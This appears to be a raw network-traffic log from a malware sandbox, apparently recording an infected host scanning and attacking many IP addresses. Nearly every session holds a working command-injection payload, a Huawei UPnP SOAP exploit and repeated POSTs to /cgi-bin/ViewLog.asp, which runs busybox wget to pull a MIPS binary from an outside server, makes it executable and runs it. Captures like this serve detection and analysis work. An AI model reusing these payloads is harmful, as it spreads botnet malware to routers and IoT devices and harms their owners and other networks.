77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.13	54154	62.54.177.28	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.504112959 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:16.712543011 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:16:16 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.13	48416	94.122.65.255	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.504194021 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.13	44426	94.120.221.111	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.506655931 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.13	49716	62.29.49.12	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.509512901 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.13	53534	94.122.56.240	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.522339106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.13	58174	85.69.34.237	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.902306080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:17.478524923 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.598483086 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:21.030630112 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:25.638560057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:34.598455906 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:54.310522079 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:31.174323082 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.13	50490	31.136.147.32	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.903892040 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:17.478502989 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.630491018 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:21.030520916 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:25.638495922 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:34.854490995 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:54.310503006 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:31.174324989 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.13	60722	94.143.237.230	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.914792061 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.13	41058	95.86.108.56	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.958406925 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.13	39594	85.248.73.186	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.126512051 CET	60	OUT	POST Data Raw: Data Ascii:
Nov 23, 2023 05:16:17.766513109 CET	60	OUT	POST Data Raw: Data Ascii:
Nov 23, 2023 05:16:19.014480114 CET	60	OUT	POST Data Raw: Data Ascii:
Nov 23, 2023 05:16:21.542506933 CET	60	OUT	POST Data Raw: Data Ascii:
Nov 23, 2023 05:16:26.662511110 CET	60	OUT	POST Data Raw: Data Ascii:
Nov 23, 2023 05:16:36.646470070 CET	60	OUT	POST Data Raw: Data Ascii:
Nov 23, 2023 05:16:56.358402014 CET	60	OUT	POST Data Raw: Data Ascii:
Nov 23, 2023 05:17:37.318335056 CET	60	OUT	POST Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.13	38794	62.141.39.72	8080

Timestamp	Bytes transferred	Direction	Data
